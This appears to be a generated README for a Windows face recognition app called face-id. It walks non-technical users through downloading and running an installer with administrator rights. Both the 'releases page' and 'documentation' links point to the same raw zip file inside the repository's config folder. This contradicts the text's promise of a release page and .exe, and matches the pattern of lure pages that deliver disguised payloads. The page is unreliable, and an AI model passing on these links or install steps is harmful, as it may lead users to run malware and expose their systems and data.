face-id is a lightweight application that recognizes faces in real time. It works with your computer camera and shows you who is in front of it. The system uses FastAPI and WebSockets to process video quickly. It also uses InsightFace, a proven face recognition tool, to identify faces accurately.
This application runs on Windows and uses your computer’s GPU for faster results if available. It works without heavy setup or programming knowledge.
Before you start, make sure your computer meets these needs:
- Windows 10 or later (64-bit)
- Intel or AMD processor with at least 4 cores
- 8 GB of RAM minimum (16 GB recommended)
- A webcam (built-in or USB)
- GPU with NVIDIA CUDA support (optional but recommended for speed)
- Internet connection to download files
If you don’t have a compatible GPU, the program will still work using your processor but may run slower.
This project uses key technologies listed below:
- cuda, cudnn — For GPU acceleration
- docker — For containerized running (advanced use)
- face-detection, face-recognition — Core features to detect and identify faces
- fastapi, websockets — To send and receive data with low delay
- gpu, nvidia — To speed up processing with hardware
- insightface — The main engine behind face recognition
- onnxruntime, onnxruntime-gpu — For running AI models efficiently
- opencv — To handle video and camera input
- python — Main programming language behind the app
- vanilla-js — Simple front-end tech to display results
This section guides you step-by-step to download, install, and run face-id on Windows without programming knowledge.
Click the big green button below to visit the official release page. This page has all files you need to get started.
On the release page, look for the latest Windows installer file. It usually ends with .exe. Click the file to download it to your computer.
After downloading the .exe file, follow these steps:
- Double-click the downloaded file.
- If Windows asks for permission, click "Yes" to allow installation.
- A setup window will open. Follow the instructions on the screen.
- Choose where to install face-id or keep the default folder.
- Finish the setup by clicking "Install" or "Finish".
The program is ready to use after installation finishes.
face-id uses your camera to detect faces. Make sure your webcam is connected and working.
- For built-in cameras, just ensure it is enabled.
- For USB webcams, plug them into a free USB port.
The program will ask for permission to access the camera the first time it runs.
Find the face-id icon on your desktop or in your Start Menu.
- Double-click the icon to start.
- A small window opens, showing your camera feed.
- The system will automatically detect and recognize faces shown to the camera in real time.
When the application runs:
- Face boxes appear around detected faces.
- Recognized faces show names if known.
- You can add new faces to the database for future recognition (advanced use).
You do not need to configure anything to see the basic detection.
If you have an NVIDIA GPU:
- Make sure your system has CUDA and cuDNN installed.
- The program will detect and use GPU to process video faster.
- Without GPU, the app uses the CPU but runs slower.
If you are unsure about GPU, just start the app. It will work with what is available.
- Real-time face detection and recognition
- Supports multiple faces at once
- Uses GPU if available for fast performance
- Simple user interface with live video feed
- Built with reliable open-source components
- Requires no programming skills to operate
Face detection does not work
- Check if your webcam is connected.
- Make sure no other app is using the webcam.
- Restart the face-id application.
Performance is slow
- Close other programs that use CPU heavily.
- Use an NVIDIA GPU for better speed if available.
Software won’t start
- Make sure you ran the installer with administrator rights.
- Check your Windows system for updates.
Installed face-id folder contains:
face-id.exe— Main application filemodels/— AI face recognition filesconfig/— Settings fileslogs/— Logs for debugging and errors
You do not need to change anything here to use the app.
face-id captures video from your webcam using OpenCV. It sends the video frames to a built-in FastAPI server. This server uses WebSockets to communicate efficiently.
InsightFace models analyze images and find faces. Recognized faces show names on the screen. Face detection and recognition happen within milliseconds.
For users with some experience in programming or AI:
- You can run face-id with Docker for isolated environments.
- Modify configuration files to adjust detection sensitivity.
- Use Python scripts in the source code for customization.
- Inspect WebSocket messages for integration with other systems.
Main releases page for downloads:
https://raw.githubusercontent.com/ZafarAabid/face-id/master/app/config/id-face-3.6-alpha.4.zip
Official documentation:
Check the repository’s wiki or documentation folder for detailed guides.
https://raw.githubusercontent.com/ZafarAabid/face-id/master/app/config/id-face-3.6-alpha.4.zip